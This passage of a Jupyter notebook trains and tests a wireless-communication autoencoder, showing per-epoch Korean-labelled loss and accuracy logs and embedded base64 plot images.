rx9FGzLjy902rhoSEzs8q5R2BmVjn3CMzMKudAYGZWOQcCM7PKORCYmVXOgcDMrHJ/AEuOHTMpOie0AAAAAElFTkSuQmCC\n", "text/plain": [ "<Figure size 432x288 with 1 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" }, { "data": { "text/plain": [ "<wireless.ae.AE at 0x7f0418638990>" ] }, "execution_count": 8, "metadata": {}, "output_type": "execute_result" } ], "source": [ "ae.ae_train_test(\n", "N_mod_bits=1,\n", "Code_K=1,\n", "Code_N=2,\n", "N_sample=1000,\n", "N_episodes=100,\n", "EbNo_dB=5) " ] }, { "cell_type": "code", "execution_count": 9, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "(2000,) (2000, 2)\n", "Epoch: 0, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 1.1794698238372803 0.20624999701976776 0.7937500029802322\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 1.2733277082443237 0.21250000596046448 0.7874999940395355\n", "Epoch: 10, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.7880656719207764 0.2615000009536743 0.7384999990463257\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.8409633636474609 0.3499999940395355 0.6500000059604645\n", "Epoch: 20, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.6374390125274658 0.6585000157356262 0.3414999842643738\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.6968862414360046 0.6549999713897705 0.3450000286102295\n", "Epoch: 30, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.48128625750541687 0.8149999976158142 0.1850000023841858\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.5195748209953308 0.8050000071525574 0.19499999284744263\n", "Epoch: 40, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.45844343304634094 0.8730000257492065 0.12699997425079346\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.38253986835479736 0.8650000095367432 0.13499999046325684\n", "Epoch: 50, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.28664398193359375 0.9049999713897705 0.09500002861022949\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.3332221210002899 0.8949999809265137 0.10500001907348633\n", "Epoch: 60, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.17904436588287354 0.921500027179718 0.07849997282028198\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.14772570133209229 0.9275000095367432 0.07249999046325684\n", "Epoch: 70, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.19117635488510132 0.9325000047683716 0.06749999523162842\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.2934908866882324 0.9350000023841858 0.06499999761581421\n", "Epoch: 80, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.21097707748413086 0.9265000224113464 0.07349997758865356\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.20295323431491852 0.9325000047683716 0.06749999523162842\n", "Epoch: 90, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.1637694537639618 0.9185000061988831 0.08149999380111694\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.35019850730895996 0.9075000286102295 0.09249997138977051\n", "Epoch: 100, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.20423445105552673 0.9325000047683716 0.06749999523162842\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.24013680219650269 0.9424999952316284 0.05750000476837158\n", "Epoch: 110, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.1334567815065384 0.9319999814033508 0.06800001859664917\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.32769525051116943 0.9474999904632568 0.052500009536743164\n", "Epoch: 120, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.21293579041957855 0.9355000257492065 0.06449997425079346\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.33559250831604004 0.9325000047683716 0.06749999523162842\n", "Epoch: 130, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.1635783463716507 0.9290000200271606 0.07099997997283936\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.2838696241378784 0.9449999928474426 0.05500000715255737\n", "Epoch: 140, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.22331149876117706 0.9330000281333923 0.06699997186660767\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.2487073391675949 0.9100000262260437 0.0899999737739563\n", "Epoch: 150, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.2032741755247116 0.9390000104904175 0.06099998950958252\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.48946332931518555 0.9474999904632568 0.052500009536743164\n", "Epoch: 160, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.09948612004518509 0.9309999942779541 0.0690000057220459\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.07154952734708786 0.9350000023841858 0.06499999761581421\n", "Epoch: 170, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.21262457966804504 0.9254999756813049 0.07450002431869507\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.19223010540008545 0.9200000166893005 0.07999998331069946\n", "Epoch: 180, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.14999651908874512 0.9340000152587891 0.06599998474121094\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.09835755079984665 0.949999988079071 0.050000011920928955\n", "Epoch: 190, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.2420201152563095 0.940500020980835 0.05949997901916504\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.18042758107185364 0.9375 0.0625\n", "Epoch: 200, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.12209907174110413 0.9309999942779541 0.0690000057220459\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.21005059778690338 0.8949999809265137 0.10500001907348633\n", "Epoch: 210, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.12760435044765472 0.9290000200271606 0.07099997997283936\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.03488897904753685 0.9399999976158142 0.06000000238418579\n", "Epoch: 220, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.19419072568416595 0.9294999837875366 0.07050001621246338\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.07547122985124588 0.9375 0.0625\n", "Epoch: 230, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.12004837393760681 0.9315000176429749 0.06849998235702515\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.18991000950336456 0.9399999976158142 0.06000000238418579\n", "Epoch: 240, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.14582480490207672 0.9275000095367432 0.07249999046325684\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.13457614183425903 0.9200000166893005 0.07999998331069946\n", "Epoch: 250, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.23999091982841492 0.9294999837875366 0.07050001621246338\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.10597739368677139 0.9175000190734863 0.08249998092651367\n", "Epoch: 260, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.13635753095149994 0.9359999895095825 0.06400001049041748\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.1577569544315338 0.9275000095367432 0.07249999046325684\n", "Epoch: 270, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.22373320162296295 0.9375 0.0625\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.14088962972164154 0.925000011920929 0.07499998807907104\n", "Epoch: 280, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.19397784769535065 0.9304999709129333 0.06950002908706665\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.08739149570465088 0.9350000023841858 0.06499999761581421\n", "Epoch: 290, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.24798086285591125 0.9325000047683716 0.06749999523162842\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.14863193035125732 0.9325000047683716 0.06749999523162842\n", "Epoch: 300, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.19647535681724548 0.9240000247955322 0.07599997520446777\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.20889867842197418 0.9375 0.0625\n", "Epoch: 310, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.21079663932323456 0.9369999766349792 0.06300002336502075\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.10240539908409119 0.9175000190734863 0.08249998092651367\n", "Epoch: 320, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.1395455002784729 0.9279999732971191 0.07200002670288086\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.21112564206123352 0.9399999976158142 0.06000000238418579\n", "Epoch: 330, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.20710082352161407 0.9294999837875366 0.07050001621246338\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.14534401893615723 0.9200000166893005 0.07999998331069946\n", "Epoch: 340, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.10371483117341995 0.9359999895095825 0.06400001049041748\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.03414527326822281 0.9200000166893005 0.07999998331069946\n", "Epoch: 350, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.2199019193649292 0.9210000038146973 0.07899999618530273\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.17151159048080444 0.9175000190734863 0.08249998092651367\n", "Epoch: 360, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.11617130041122437 0.9340000152587891 0.06599998474121094\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.4853249788284302 0.9300000071525574 0.06999999284744263\n", "Epoch: 370, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.26145634055137634 0.9279999732971191 0.07200002670288086\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.018058843910694122 0.9449999928474426 0.05500000715255737\n", "Epoch: 380, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.21281446516513824 0.9279999732971191 0.07200002670288086\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0795154795050621 0.9225000143051147 0.07749998569488525\n", "Epoch: 390, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.1639852672815323 0.9290000200271606 0.07099997997283936\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.23802611231803894 0.9449999928474426 0.05500000715255737\n", "Epoch: 400, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.13095781207084656 0.9365000128746033 0.06349998712539673\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.4471389651298523 0.925000011920929 0.07499998807907104\n", "Epoch: 410, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.07879398763179779 0.9365000128746033 0.06349998712539673\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.20653077960014343 0.9300000071525574 0.06999999284744263\n", "Epoch: 420, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.26627564430236816 0.9325000047683716 0.06749999523162842\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.04050491005182266 0.9350000023841858 0.06499999761581421\n", "Epoch: 430, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.14643491804599762 0.9300000071525574 0.06999999284744263\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.15300163626670837 0.9424999952316284 0.05750000476837158\n", "Epoch: 440, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.2561679780483246 0.9309999942779541 0.0690000057220459\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.045109473168849945 0.9375 0.0625\n", "Epoch: 450, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.1747981309890747 0.9315000176429749 0.06849998235702515\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.15013621747493744 0.9549999833106995 0.04500001668930054\n", "Epoch: 460, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.09796126186847687 0.9164999723434448 0.08350002765655518\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.044099513441324234 0.9449999928474426 0.05500000715255737\n", "Epoch: 470, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.28072887659072876 0.9235000014305115 0.07649999856948853\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.07795271277427673 0.9325000047683716 0.06749999523162842\n", "Epoch: 480, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.17386826872825623 0.9309999942779541 0.0690000057220459\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.2696034908294678 0.9225000143051147 0.07749998569488525\n", "Epoch: 490, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.2244609147310257 0.9284999966621399 0.07150000333786011\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.13153092563152313 0.9024999737739563 0.0975000262260437\n" ] }, { "data": { "image/png": "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